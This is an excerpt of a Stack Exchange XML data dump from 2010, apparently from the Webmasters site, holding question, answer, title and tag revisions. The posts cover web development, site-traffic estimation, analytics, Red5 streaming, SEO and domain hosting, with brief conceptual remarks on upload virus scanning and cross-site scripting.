  <row Id="8648" PostHistoryTypeId="2" PostId="4370" RevisionGUID="abf0cfce-f0e1-441d-901b-6d894e8ee637" CreationDate="2010-10-25T13:10:47.413" UserId="233" Text="More information about exactly what changes would be useful, but regardless a few thoughts spring to mind:&#xD;&#xA;&#xD;&#xA;* The server could still have an impact, even with static pages. For example, `.htaccess` could come into play, or the file parsed as PHP and they get modified in some way (unlikely but possible). View source on the local and live pages to make sure they are exactly the same.&#xD;&#xA;&#xD;&#xA;* If you are running `file:///` instead of `http://localhost/` root-based links such as `/styles.css` won't work. You'd need to change them to relative links.&#xD;&#xA;&#xD;&#xA;* If you are opening the HTML file in Internet Explorer, some Javascript doesn't run. You normally get a warning about active content. Check your security settings. (If you are running `http://localhost/` this shouldn't be an issue.)&#xD;&#xA;&#xD;&#xA;* The page uses some kind of AJAX or server-side connection that fails on localhost.&#xD;&#xA;&#xD;&#xA;* An ad blocker prevents certain scripts, images, files from loading, particularly if they reference the internet instead of locally." />
  <row Id="8651" PostHistoryTypeId="5" PostId="4367" RevisionGUID="cb7878fd-f643-4088-a01c-e7b40ea3b510" CreationDate="2010-10-25T13:13:59.407" UserId="233" Comment="edited body; edited tags; edited title" Text="How do WEB 2.0 sites get first few members, like a new site comes up for &quot;discussing books&quot; or &quot;renting apartments&quot; or any thing for that matter.&#xD;&#xA;So if some marketing is able to pull in some visitors, all first few visitors will see blank data bases no existing info offered. wont they carry a bad name and never come back again ... ??" />
  <row Id="8652" PostHistoryTypeId="4" PostId="4367" RevisionGUID="cb7878fd-f643-4088-a01c-e7b40ea3b510" CreationDate="2010-10-25T13:13:59.407" UserId="233" Comment="edited body; edited tags; edited title" Text="How do WEB 2.0 sites get their first few members ?" />
  <row Id="8653" PostHistoryTypeId="6" PostId="4367" RevisionGUID="cb7878fd-f643-4088-a01c-e7b40ea3b510" CreationDate="2010-10-25T13:13:59.407" UserId="233" Comment="edited body; edited tags; edited title" Text="&lt;web-development&gt;&lt;websites&gt;&lt;web-services&gt;&lt;web-applications&gt;" />
  <row Id="8654" PostHistoryTypeId="6" PostId="4357" RevisionGUID="1f92f6c6-a6b7-4a4e-9ce6-b581ac5fd407" CreationDate="2010-10-25T13:14:05.333" UserId="1253" Comment="edited tags" Text="&lt;google&gt;&lt;site-ranking&gt;" />
  <row Id="8655" PostHistoryTypeId="2" PostId="4371" RevisionGUID="e9cd4d71-97b5-4743-807a-0f91982fad09" CreationDate="2010-10-25T13:18:12.850" UserId="1253" Text="How to get a website started  will vary depending on the purpose of the website. But based on some of the examples you give in your question you could try:&#xD;&#xA;&#xD;&#xA; - For the renting apartments concept offer the first &quot;X&quot; number of listing a free or heavily discounted rate. This will entice people to sign up since the cost/risk to them is minimal. That will help to populate your site and get word out about it. Then gradually raise your pricing as the site becomes more popular.&#xD;&#xA;&#xD;&#xA; - For the discussing books concept start off by seeding the site with your own questions and discussions. Have friends help you out by participating in a few of them. That way the site isn't empty and looks active. Invite people from similar sites to join you (without spamming the other websites). Eventually the word will get out about your site and you will have content in the search engines to drive further traffic to you." />
  <row Id="8656" PostHistoryTypeId="2" PostId="4372" RevisionGUID="5ec32341-925a-42c4-b258-3ff0607ebd96" CreationDate="2010-10-25T13:18:21.460" UserId="2715" Text="I know there is a site out there that provides data and stats on websites' relative popularity, unique hits etc, but I can't remember what it's called. This isn't for my own site, I want to look up more general stats.. thanks " />
  <row Id="8657" PostHistoryTypeId="1" PostId="4372" RevisionGUID="5ec32341-925a-42c4-b258-3ff0607ebd96" CreationDate="2010-10-25T13:18:21.460" UserId="2715" Text="Where can I get reliable information on website popularity?" />
  <row Id="8658" PostHistoryTypeId="3" PostId="4372" RevisionGUID="5ec32341-925a-42c4-b258-3ff0607ebd96" CreationDate="2010-10-25T13:18:21.460" UserId="2715" Text="&lt;statistics&gt;" />
  <row Id="8659" PostHistoryTypeId="2" PostId="4373" RevisionGUID="e93742d6-4a2a-40c3-ae0c-83c3e9ea6dd2" CreationDate="2010-10-25T13:24:11.690" UserId="233" Text="The best way is to go to Content &gt; Top Content (or content drilldown of whatever metric is best for the pages you wish to look at). Click the page you are interested in.&#xD;&#xA;&#xD;&#xA;Then underneath &quot;This page was viewed...&quot; you will see a series of dropdown menus. Click the last one to see various metrics you can filter by. Click &quot;Country/Territory&quot; to see the most popular countries that visited that page.&#xD;&#xA;&#xD;&#xA;One alternative: from the Top Content page, click the dropdown at the top of the table, next to &quot;Page&quot; and click &quot;Country/Territory&quot;. This will list all pages and countries, by popularity. For example:&#xD;&#xA;&#xD;&#xA;    index.html        United States      999&#xD;&#xA;    about.html        United States      888&#xD;&#xA;    index.html        Canada             766&#xD;&#xA;    index.html        United Kingdom     421&#xD;&#xA;    about.html        Canada             123" />
  <row Id="8660" PostHistoryTypeId="5" PostId="4357" RevisionGUID="1b8b845f-273b-41f8-91f9-cd31632c4deb" CreationDate="2010-10-25T13:28:37.057" UserId="1828" Comment="edited to be clearer add more detail to what had been attempted already" Text="I had a site that ranked top 3 for one keyword term and top 6 for another.&#xD;&#xA;&#xD;&#xA;At the beginning of October both terms dropped radically from the search results.&#xD;&#xA;&#xD;&#xA;I had recently changed the .htaccess file to stop redirecting 404 back to the home page.&#xD;&#xA;&#xD;&#xA;This resulted in the following:&#xD;&#xA;&#xD;&#xA; 1. Some old links to non SEO optimised pages being reported as&#xD;&#xA;    crawl errors in google webmaster toolkit. &#xD;&#xA; 2. Old pages which have been renamed over the last year being crawled by googlebot because of the redirect back to the homepage  &#xD;&#xA;&#xD;&#xA;Also I noticed that the pages containing the keywords were not included in the internal links in google webmaster toolkit anymore.&#xD;&#xA;&#xD;&#xA;I have added 301 redirects for the crawl errors and the 301 redirects for the updated file names and I am awaiting for google webmaster toolkit to clear the crawl errors and for googlebot to start crawling the correct pages, but I am worried that there is more of a problem for the keywords ranking than the pages errors.&#xD;&#xA;&#xD;&#xA;Is there any way of determining if the site has been punished for certain the keywords?" />
  <row Id="8661" PostHistoryTypeId="2" PostId="4374" RevisionGUID="9e07ce00-6fd4-46af-a0af-c1ecc30048dc" CreationDate="2010-10-25T13:29:47.397" UserId="233" Text="You are probably thinking of [Alexa.com][1]. Its stats are based on users that have the Alexa Toolbar installed so read into that what you will. [They claim][2] that the top 100,000 sites are very accurate.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alexa.com&#xD;&#xA;  [2]: http://www.alexa.com/faqs/?p=139" />
  <row Id="8662" PostHistoryTypeId="2" PostId="4375" RevisionGUID="75fb2478-5b84-4b40-89aa-39fdfc85f41e" CreationDate="2010-10-12T17:23:38.187" UserDisplayName="mellowsoon" Text="We're looking to add public/private &quot;cam rooms&quot; to our site. Similar to about a thousand other sites on the web (Chat Roulette, Stickam, etc). We've been using Red5 for the past year with various ready-to-go Flash chat apps, and we've been using JW Player for years. So we think we have the basic infrastructure in place to make this happen. But I'm a bit fuzzy on some details, and Red5 docs are hard to find.&#xD;&#xA;&#xD;&#xA;My questions are:&#xD;&#xA;&#xD;&#xA;1) What kind of software is needed to capture a person's cam, and send it back to the Red5 server?&#xD;&#xA;&#xD;&#xA;2) Once step 1 is complete, how would I view the cam using JW Player (or any player actually)?&#xD;&#xA;&#xD;&#xA;Additionally (and probably obviously) we would need a way to have different &quot;rooms&quot;. Meaning sending the cam stream to room 1234, and pointing the player at that room to view the cam stream.&#xD;&#xA;&#xD;&#xA;Can Red5 do this out of the box with the included demo software? Any tips/tutorials on setting this up would be greatly appreciated." />
  <row Id="8663" PostHistoryTypeId="1" PostId="4375" RevisionGUID="75fb2478-5b84-4b40-89aa-39fdfc85f41e" CreationDate="2010-10-12T17:23:38.187" UserDisplayName="mellowsoon" Text="Red5: Live Cam Streaming" />
  <row Id="8664" PostHistoryTypeId="3" PostId="4375" RevisionGUID="75fb2478-5b84-4b40-89aa-39fdfc85f41e" CreationDate="2010-10-12T17:23:38.187" UserDisplayName="mellowsoon" Text="&lt;untagged&gt;" />
  <row Id="8665" PostHistoryTypeId="17" PostId="4375" RevisionGUID="39f65b76-083a-4cd4-827b-0f2c55553e0f" CreationDate="2010-10-25T13:39:48.340" UserId="-1" Comment="from http://stackoverflow.com/questions/3917354/red5-live-cam-streaming" Text="" />
  <row Id="8666" PostHistoryTypeId="2" PostId="4376" RevisionGUID="787fe35f-01bb-4ff7-86ba-64ea7e6eb410" CreationDate="2010-10-25T13:47:22.997" UserId="233" Text="&gt; I've also implemented a VirusTotal check on upload of any .exe, .dll or .com files.&#xD;&#xA;&#xD;&#xA;And what if I rename my `virus.exe` to `cutekittens.jpg`? You need to scan every file regardless of filename.&#xD;&#xA;&#xD;&#xA;But once you have that in place I would suggest that you are pretty safe. Obviously the core problem is hosting malicious files. Anti-Virus applications are well within their right to block the entire site if a user is able to download a virus." />
  <row Id="8667" PostHistoryTypeId="2" PostId="4377" RevisionGUID="f661a634-bfce-4e77-9efa-fe7afb7007a8" CreationDate="2010-10-25T14:00:52.203" UserId="1703" Text="[www.dnscoop.com][1] can help&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dnscoop.com" />
  <row Id="8668" PostHistoryTypeId="2" PostId="4378" RevisionGUID="0bf8ecc9-89b8-4556-8d30-17b2a5da9ce4" CreationDate="2010-10-25T14:22:49.770" UserId="1953" Text="You can create a custom report. In your GA account click &quot;Manage custom reports&quot; then &quot;create new report&quot; under metric add the things you want to measure (visits, revenue, conversion rates etc.) under dimension add &quot;Page title&quot; for the first one then you can drill down under that with &quot;country/territory&quot; &quot;region&quot; or even &quot;city&quot;. When you run the report you can see which pages are performing well, then select the page you are most interested in and you will see the stats by country/territory.&#xD;&#xA;&#xD;&#xA;If you're looking to filter all reports by a specific country or group of countries you can use the advanced segments." />
  <row Id="8669" PostHistoryTypeId="2" PostId="4379" RevisionGUID="c82ff75a-8bc1-4b0a-b979-54ddcf799d28" CreationDate="2010-10-25T14:29:54.037" UserId="1757" Text="Many competitive research tools (e.g. [compete.com][1]) show estimates for site traffic, but their reliability is questionable. There's no definitive way to determine a website's traffic without access to logs and detailed analytics. I think sites that sell advertising through AdSense have their traffic statistics tracked by Google, and some competitive research tools may be going on these figures, which are probably the most accurate available to those who aren't the actual site owners, but I'm not sure how they'd get their hands on this data.&#xD;&#xA;&#xD;&#xA;Sites like compete.com use some kind of market survey through their &quot;panel&quot; of 2 million users. They then use some magical proprietary math formulas to guesstimate the actual traffic that a site receives. These, along with Alexa, probably aren't much good except for use on the top sites on the web. Plus, they might be collecting data through spyware as Conde pointed out, and that's always a bad sign.&#xD;&#xA;&#xD;&#xA;But the best (most accurate/reliable) way to determine most sites' popularity is probably through search statistics, since these statistics are openly available through Google Trends. But again, these aren't available for low traffic sites, though at least they are less likely to be skewed.&#xD;&#xA;&#xD;&#xA;Competitive research tools like SEMRush and MajesticSEO claim to offer more detailed search data obtained from Google, but I don't know how they're acquiring the data. For example, they show traffic trends from Google for low-traffic sites that Google Trends won't display data for. And they also display backlink stats beyond what a `link:` search will show. So it's a bit baffling.&#xD;&#xA;&#xD;&#xA;  [1]: http://compete.com" />
  <row Id="8670" PostHistoryTypeId="2" PostId="4380" RevisionGUID="b9273b17-996d-4920-8571-16a44f73339c" CreationDate="2010-10-25T14:48:14.443" UserId="2707" Text="The main difference I could see would have to do with the .htaccess&#xD;&#xA;&#xD;&#xA; 1. XHTML served as `application/xhtml+xml` instead of `text/html`, or vice versa&#xD;&#xA; 2. IE isn't letting Javascript run locally or differently online&#xD;&#xA;&#xD;&#xA;I'm sure there is more, I just can't think of it right now." />
  <row Id="8671" PostHistoryTypeId="2" PostId="4381" RevisionGUID="c035a963-9029-415a-9cff-3996dc6fdaa7" CreationDate="2010-10-25T14:49:48.607" UserId="89" Text="All of those sites try to use some super secret formulas using data from undisclosed sources to estimate statistics for web sites, they might as well just make wild guesses for all we know - and I can tell you that when for my (relatively low traffic) web site they tend to be at least an order of magnitude wrong.&#xD;&#xA;&#xD;&#xA;Here are two recent tweets about this from our host:&#xD;&#xA;&#xD;&#xA;http://twitter.com/#!/spolsky/status/27859348304 (Dear compete.com, I'm PRETTY SURE that Stack Overflow's traffic didn't go down 80% in one month.)&#xD;&#xA;&#xD;&#xA;http://twitter.com/#!/spolsky/status/27859566842 (Quantcast has the real data.  Compete.com is worse than a joke).&#xD;&#xA;" />
  <row Id="8672" PostHistoryTypeId="2" PostId="4382" RevisionGUID="7a372def-7f64-4977-ade0-b12cd8411f9f" CreationDate="2010-10-25T14:30:11.653" UserDisplayName="Laura" Text="first of all sorry for my english. :)&#xD;&#xA;&#xD;&#xA;I need to do a html web with a table, td, div, any kind of this, fixed and centered (vertical and horizontal) of that size: 1010px of width and 565px of height. There's a way to do that without using frames or iframes and that the table, div or anything has a width and heigh no autosizable? &#xD;&#xA;&#xD;&#xA;Thanks a lot :)&#xD;&#xA;&#xD;&#xA;Laura" />
  <row Id="8673" PostHistoryTypeId="1" PostId="4382" RevisionGUID="7a372def-7f64-4977-ade0-b12cd8411f9f" CreationDate="2010-10-25T14:30:11.653" UserDisplayName="Laura" Text="how can i a centered and fixed div on html?" />
  <row Id="8674" PostHistoryTypeId="3" PostId="4382" RevisionGUID="7a372def-7f64-4977-ade0-b12cd8411f9f" CreationDate="2010-10-25T14:30:11.653" UserDisplayName="Laura" Text="&lt;html&gt;" />
  <row Id="8675" PostHistoryTypeId="17" PostId="4382" RevisionGUID="4b5b8351-113d-4871-a802-e3abc1d8f605" CreationDate="2010-10-25T14:55:06.770" UserId="-1" Comment="from http://serverfault.com/questions/194526/how-can-i-a-centered-and-fixed-div-on-html" Text="" />
  <row Id="8676" PostHistoryTypeId="5" PostId="4379" RevisionGUID="37b749e4-bbf4-4ec7-a150-791601ad2342" CreationDate="2010-10-25T15:32:56.943" UserId="1757" Comment="added 51 characters in body" Text="Many competitive research tools (e.g. [compete.com][1]) show estimates for site traffic, but their reliability is questionable. There's no definitive way to determine a website's traffic without access to logs and detailed analytics. I think sites that sell advertising through AdSense have their traffic statistics tracked by Google, and some competitive research tools may be going on these figures, which are probably the most accurate available to those who aren't the actual site owners, but I'm not sure how they'd get their hands on this data.&#xD;&#xA;&#xD;&#xA;Sites like compete.com use some kind of market survey through their &quot;panel&quot; of 2 million users. They then use some magical proprietary math formulas to guesstimate the actual traffic that a site receives. These will at least show traffic trends for low-traffic sites (unlike Alexa), but you have to wonder about their accuracy. Plus, they might be collecting data through spyware as John Conde pointed out, and that's always bad news.&#xD;&#xA;&#xD;&#xA;The best (most accurate/reliable) way to determine most sites' popularity is probably through search statistics, since these statistics are openly available through Google Trends. These aren't available for low traffic sites, but the threshold is lower than for Alexa, and the figures are unlikely to be skewed.&#xD;&#xA;&#xD;&#xA;Competitive research tools like SEMRush and MajesticSEO claim to offer more detailed search data obtained from Google, but I don't know how they're acquiring the data. For example, they show traffic trends from Google for low-traffic sites that Google Trends won't display data for. And they also display backlink stats beyond what a `link:` search will show. So it's a bit baffling.&#xD;&#xA;&#xD;&#xA;  [1]: http://compete.com" />
  <row Id="8677" PostHistoryTypeId="2" PostId="4383" RevisionGUID="684cac12-f6bc-45f7-8f1e-ec6fe5e55bac" CreationDate="2010-10-25T16:31:11.690" UserId="2288" Text="For example the cost of a keyword in Google PPC system does not equal it's value, just how much people are willing to pay for it. Really not sure if the question makes sense, so please feel free to ask questions. Thanks!" />
  <row Id="8678" PostHistoryTypeId="1" PostId="4383" RevisionGUID="684cac12-f6bc-45f7-8f1e-ec6fe5e55bac" CreationDate="2010-10-25T16:31:11.690" UserId="2288" Text="How do you value keywords across SEO and SEM?" />
  <row Id="8679" PostHistoryTypeId="3" PostId="4383" RevisionGUID="684cac12-f6bc-45f7-8f1e-ec6fe5e55bac" CreationDate="2010-10-25T16:31:11.690" UserId="2288" Text="&lt;seo&gt;&lt;sem&gt;&lt;ppc&gt;" />
  <row Id="8680" PostHistoryTypeId="2" PostId="4384" RevisionGUID="72fecefb-9674-4164-9935-23fd304c34bd" CreationDate="2010-10-25T16:36:56.910" UserId="2288" Text="Looking for a checklist, or comparison site.   " />
  <row Id="8681" PostHistoryTypeId="1" PostId="4384" RevisionGUID="72fecefb-9674-4164-9935-23fd304c34bd" CreationDate="2010-10-25T16:36:56.910" UserId="2288" Text="How do you evaluate an SEO/SEM companies? What are common services/prices?" />
  <row Id="8682" PostHistoryTypeId="3" PostId="4384" RevisionGUID="72fecefb-9674-4164-9935-23fd304c34bd" CreationDate="2010-10-25T16:36:56.910" UserId="2288" Text="&lt;seo&gt;" />
  <row Id="8683" PostHistoryTypeId="2" PostId="4385" RevisionGUID="28d51e74-8759-4f52-bd78-73b4bb86dd85" CreationDate="2010-10-25T17:02:00.810" UserId="343" Text="The value of a keyword is related to how much money it brings in for your business.  &#xD;&#xA;&#xD;&#xA;In AdWords, typically you would discover this by running ads for various keywords and using a tool like Google Analytics to discover how many users coming in from an ad on that keyword actually buy something.  From there you factor in your margin on the sale and the cost of advertising on that keyword to determine if it is profitable or not.  Something similar could be done for &quot;natural&quot; SEO as well by looking at sales vs. which keywords a person searched for to find your site.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8684" PostHistoryTypeId="2" PostId="4386" RevisionGUID="7044dc0b-6edd-4410-a34f-61c9d1a85d39" CreationDate="2010-10-25T17:20:19.367" UserId="1896" Text="On our company web site, we have a page which lists all the magazine articles and web articles that talk about our products. It makes sense that magazine articles are shown in PDF format because they are scans of a physical magazine, but our marketing department also uses PDF for web articles. I asked them why not just link to the URL of the article, and they told me that most of these web-zines charge a fee for linking directly to their content.&#xD;&#xA;&#xD;&#xA;Has anyone else heard of this? It doesn't make any sense to me for a multitude of reasons:&#xD;&#xA;&#xD;&#xA; - How can you charge someone for linking to you?&#xD;&#xA; - Why would you put up a barrier to getting an inbound link? Some people struggle to get inbound links.&#xD;&#xA; - How is it free to re-publish in PDF format? I would expect that's where they would be charging money." />
  <row Id="8685" PostHistoryTypeId="1" PostId="4386" RevisionGUID="7044dc0b-6edd-4410-a34f-61c9d1a85d39" CreationDate="2010-10-25T17:20:19.367" UserId="1896" Text="Can a web site charge for inbound links" />
  <row Id="8686" PostHistoryTypeId="3" PostId="4386" RevisionGUID="7044dc0b-6edd-4410-a34f-61c9d1a85d39" CreationDate="2010-10-25T17:20:19.367" UserId="1896" Text="&lt;content&gt;&lt;marketing&gt;" />
  <row Id="8687" PostHistoryTypeId="2" PostId="4387" RevisionGUID="494123ca-556a-4d6a-a132-9195a75457f9" CreationDate="2010-10-25T17:32:38.400" UserId="2209" Text="When you sign up for Godaddy shared hosting they usually send you and email afterwards with the server's IP. Once you have the IP address go to the site that is hosting your domain name and change the Host (A)Record within the DNS setting to reflect the new IP address. It will take an hour or an hour and a half based upon what the TTL is set to." />
  <row Id="8689" PostHistoryTypeId="4" PostId="4384" RevisionGUID="3796b1d1-9b33-4a60-914b-3351d699ea75" CreationDate="2010-10-25T17:47:26.913" UserId="2288" Comment="edited title" Text="How do you evaluate SEO/SEM companies? What are common services/prices?" />
  <row Id="8690" PostHistoryTypeId="5" PostId="4303" RevisionGUID="918d4098-bea4-49e6-bfee-054711e13d90" CreationDate="2010-10-25T17:57:37.987" UserId="2686" Comment="edited body" Text="See [nettuts][1] as a hybrid example. It is fixed to an extent but observe what happens to the ads on the right hand side of the page as you resize your window. &#xD;&#xA;&#xD;&#xA;I would see google as a static example. I am not too sure though.&#xD;&#xA;&#xD;&#xA;Also, I believe most high volume sites today are either hybrid or static; I find it hard to find a completely fluid or proportional high volume site, I could be wrong however.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://net.tutsplus.com/" />
  <row Id="8691" PostHistoryTypeId="2" PostId="4388" RevisionGUID="4121ecfe-7355-4e1e-a265-bbf42ea48377" CreationDate="2010-10-25T18:17:54.713" UserId="2209" Text="I may be wrong, but would this not be pointless? The idea is to get your website out there, not to cause people who want to help you run the other way." />
  <row Id="8692" PostHistoryTypeId="2" PostId="4389" RevisionGUID="9b90b704-5614-4d2d-aa41-1def5871b7b4" CreationDate="2010-10-25T18:18:43.633" UserId="2680" Text="I've heard of the target site trying to take legal action against other sites for incoming links. I don't recall the exact details, but I do remember the whole internet laughing at the target site owner, and nothing came of the legal action.&#xD;&#xA;&#xD;&#xA;If the content of the target site is public, then there is no way in the world they could attempt to charge for linking to the content. Google wouldn't have lasted very long if that was the case." />
  <row Id="8693" PostHistoryTypeId="2" PostId="4390" RevisionGUID="6ff14ab9-3449-4f9f-872e-bc3f39b2142c" CreationDate="2010-10-25T18:19:54.093" UserId="2686" Text="(sorry I can't use comments yet) I last used red5 over a year ago, setting it up on a media temple dedicated server and developed a few applications with it. &#xD;&#xA;&#xD;&#xA;Generally the feel for red5 is that it handles the technology i.e. the rtmp etc and you can change your ports and stream through other ports if desired. &#xD;&#xA;&#xD;&#xA;The applications on the other hand had to be written in Actionscript, tested and used in Flash before exporting. &#xD;&#xA;&#xD;&#xA;I understand the issue with the jwplayer and the easiest way to overcome that is to use your own player (it's around 20 lines of code and far less complicated than the streaming apps/demos from red5). This is what we did, including configuring the player to play an offair video (black screen with text/20 lines of different colors running vertically..yay the old days) whenever the live stream was absent.&#xD;&#xA;&#xD;&#xA;If you configure your site to redirect users to rooms, then you will not need the offair message/video as much (you will still need it but you will save a little in bandwidth). &#xD;&#xA;&#xD;&#xA;Sending users to different rooms seems trivial though. You can always keep each cam pointing to a specific page and handle the rest with php/html/mod_rewrite &amp; redirects combined i.e. just the layout of your pages including giving the user the feel that they are on a different page with the simple clean(I don't know why they call them beautiful) urls. Any solution can be tailored though, red5 is very flexible, along with php and the group." />
  <row Id="8694" PostHistoryTypeId="2" PostId="4391" RevisionGUID="f3a93b90-c2d8-40b8-99d0-7c8fd5df37b7" CreationDate="2010-10-25T18:25:12.083" UserId="233" Text="No one can charge others for links coming their way. In fact you'd normally need to PAY someone to link to your own site if they would not do it naturally.&#xD;&#xA;&#xD;&#xA;However, it's certainly possible (technically) to block hot-linking to your files/pages, in the sense that when a user clicks that link, it redirects them to the home page or displays an error instead of the page or PDF.&#xD;&#xA;&#xD;&#xA;Then the site owner could charge others so that links from the site they specify aren't blocked. This is more technical effort than it's worth so I highly doubt that even happens. And there's still no way to force payment for a link, whether it works or not.&#xD;&#xA;&#xD;&#xA;The easy answer is to link to the content and see what happens. I mean, it is not breaking any laws assuming you are not misleading users into what the content is (and even then it would be a grey area)." />
  <row Id="8695" PostHistoryTypeId="2" PostId="4392" RevisionGUID="5972834b-9474-422e-8f56-e25dbebf65c7" CreationDate="2010-10-25T18:32:44.190" UserId="2686" Text="To center a div both vertically and horizontally can be done a number of ways. A non-confusing one was given on stackoverflow a few days ago by Marko [here][1] and [here is a working example][2] (also including in the stackoverflow answer). &#xD;&#xA;&#xD;&#xA;As suggested in the answer, if you do not want the div to scroll with the page then you can set &#xD;&#xA;&gt; position: fixed&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/3902910/what-is-the-easiest-method-for-verticalhorizontal-centering-of-a-div-in-the-wind&#xD;&#xA;  [2]: http://jsfiddle.net/Wv2jZ/14/" />
  <row Id="8696" PostHistoryTypeId="2" PostId="4393" RevisionGUID="7a36f8f8-2b33-4d27-a132-1b1185d2b8de" CreationDate="2010-10-25T18:43:45.703" UserId="2686" Text="I'm not sure if this is what you're looking for but [quantcast][1] seems as far as you can go. It seems much better than Alexa at least and I use them to survey what google/fb users are hitting at times (156 m visits a month! that's a lot). All the suggestions here are great.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quantcast.com/" />
  <row Id="8697" PostHistoryTypeId="2" PostId="4394" RevisionGUID="0a98641a-2872-4ec3-9939-3bc611a8afc3" CreationDate="2010-10-25T18:47:24.687" UserId="2686" Text="Hacking with malicious intent! (yes, we use hacking for good purposes)&#xD;&#xA;&#xD;&#xA;If it doesn't scare them, remind them of facebook (consented xss, they gather tons of data anyway, no need for xss)! Hope it works!" />
  <row Id="8698" PostHistoryTypeId="2" PostId="4395" RevisionGUID="cf083a31-de8e-4a5e-ae94-43788406bbb2" CreationDate="2010-10-25T17:33:18.853" UserDisplayName="Niro" Text="Note: I'm asking this from the perspective of the site developers (trying to help someone there). not as a user. Please don't forward this to superuser.com. It's a server admin question.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Have a look here&#xD;&#xA;&#xD;&#xA;http://www.wanimo.com/fr/chiens/coussin-matelas-tapis-pour-chien-sc28/tapis-plat-urban-chic-sf7263/&#xD;&#xA;&#xD;&#xA;you'll see that the page gets redirected to the same page with # at the end. Worse, when you click back you get garbage url.&#xD;&#xA;&#xD;&#xA;I'm trying to debug what is causing the redirect. Any advice on how to find it ?&#xD;&#xA;" />
  <row Id="8699" PostHistoryTypeId="1" PostId="4395" RevisionGUID="cf083a31-de8e-4a5e-ae94-43788406bbb2" CreationDate="2010-10-25T17:33:18.853" UserDisplayName="Niro" Text="Why is a # sign added to the end of URLS?" />
  <row Id="8700" PostHistoryTypeId="3" PostId="4395" RevisionGUID="cf083a31-de8e-4a5e-ae94-43788406bbb2" CreationDate="2010-10-25T17:33:18.853" UserDisplayName="Niro" Text="&lt;apache&gt;&lt;http&gt;&lt;redirects&gt;" />
  <row Id="8701" PostHistoryTypeId="17" PostId="4395" RevisionGUID="15394bc9-4abb-4d64-a425-0f2b49bfe5c4" CreationDate="2010-10-25T19:27:33.370" UserId="-1" Comment="from http://serverfault.com/questions/194584/why-is-a-sign-added-to-the-end-of-urls" Text="" />
  <row Id="8702" PostHistoryTypeId="2" PostId="4396" RevisionGUID="6e97096e-7322-42d2-b491-0dd0231ee5c7" CreationDate="2010-10-25T19:36:11.320" UserId="1253" Text="I don't see the # until after the JavaScript floating ad appears and I then dismiss it. I would assume the JavaScript that makes that happen is doing it. When I went back a second time there was no ad and no redirect." />
  <row Id="8703" PostHistoryTypeId="2" PostId="4397" RevisionGUID="ab7ed281-905b-435f-8338-2bd8e4244768" CreationDate="2010-10-25T20:08:47.700" UserId="2552" Text="I never got the floating Ad, but I assume the ad is triggered on a cookie (didn't check to see if it was longterm or session yet). The pound sign (#) is there for adding hash tags to the page. I use this a ton to pass along javascript variables to functions on the page. It's similar to passing variables the normal way `../somepage.html?x=1&amp;y=2` except it's a little more friendly to javascript. &#xD;&#xA;&#xD;&#xA;Also these work the old fashion way as anchor links. If I wanted you to jump to a specific section of the page after it loads I could push the anchor tag in the URL forcing your viewport to jump down the page to the specific point. &#xD;&#xA;&#xD;&#xA;Personally, I'm guessing a link on that ad has a link that is incorrectly configured to point to href=&quot;#&quot; and the onclick event is causing the function. This is a really common mistake when using javascript with a function and not making it return false to avoid applying the hash tag." />
  <row Id="8704" PostHistoryTypeId="2" PostId="4398" RevisionGUID="97755bb4-4692-448f-8297-84a0907144ce" CreationDate="2010-10-25T20:12:21.257" UserId="2552" Text="Your visiting a website with comments enabled. Someone posted a script as a comment that once you load in your browser is able to hijack your browser. It then is able to use your currently logged in credentials to pretend it's you, steal your information, or many other bad ideas you could come up with letting someone you didn't know use your account. " />
  <row Id="8705" PostHistoryTypeId="2" PostId="4399" RevisionGUID="b9bb90ad-9799-4d6a-851c-1ad5d219ea8e" CreationDate="2010-10-25T20:19:36.913" UserId="2552" Text="SEO in my personal opinion, really is more of basics your web developer should be doing from the start of building your site. There are some optimizations you can do along the way if you're unable to make your URL's friendly or some of the other heavier lifting things, but why you would pay for this when you already had someone build the site is crazy to me. &#xD;&#xA;&#xD;&#xA;The service part that I think I could see being worth paying for is market research about your site. I've seen a company that went out and found out what keys words were really the best for a sites content/market and helped to tailor the content of the site more accurately towards what their market wanted. In the end it wasn't so much SEO as it was just getting their site to match what people really wanted to find on their website. If someone keeps arriving on your site with the search term &quot;Hot to boil hot dogs&quot; and you're site only talks about hamburgers, then there's potential. However dumping &quot;Hot Dogs&quot; all over your meta data just to increase traffic is a bit of a jerk move and the main reason I hate these so called SEO-experts." />
  <row Id="8706" PostHistoryTypeId="2" PostId="4400" RevisionGUID="6c8355e6-74ce-4d02-b913-0d62719e46db" CreationDate="2010-10-25T20:33:23.327" UserId="2552" Text="Personally I've had terrible issues with their setup and requiring extra fees to enable features for domains. I've also seen people who have used their domain search tool to see if a domain was available, which it was, then to have it suddenly no longer be available as the goDaddy squatter company purchased it for the 72 hour window. Upon contacting them about this I was literally offered the domain at a much higher price (they knew we wanted it) which we declined and just purchased another domain elsewhere. The domain we originally wanted became available shortly after the trial period scams they were running showed zero interest to their click spam and we were able to register the original name. &#xD;&#xA;&#xD;&#xA;They also seem to sell personal data about their customers. I signed up a website for a joke idea during one of their 99cent deals only to have constant marketing spam sent to my email account I registered with ( I use anonymous 1 time accounts for these sort of things to track whos selling my info ). I literally also received over a dozen phone calls directly to the number I gave them from goDaddy trying to upsell other products an services even though I told them I only bought the site for a quick joke and was already done with it and not interested in any further services.&#xD;&#xA;&#xD;&#xA;Another issue is with transferring domains off their service. They make it absolutely nearly impossible and so painful I refuse to even help people with it anymore. " />
  <row Id="8707" PostHistoryTypeId="2" PostId="4401" RevisionGUID="acf557f6-1221-42e8-9171-a52e9d07dbb1" CreationDate="2010-10-25T21:41:25.720" UserId="1979" Text="Have look at http://www.scottberkun.com/. It's probably more than what you're looking for but Scott writes a lot about his books. You may find some valuable ideas on getting potential readers involved during all stages (prior and after the publication)." />
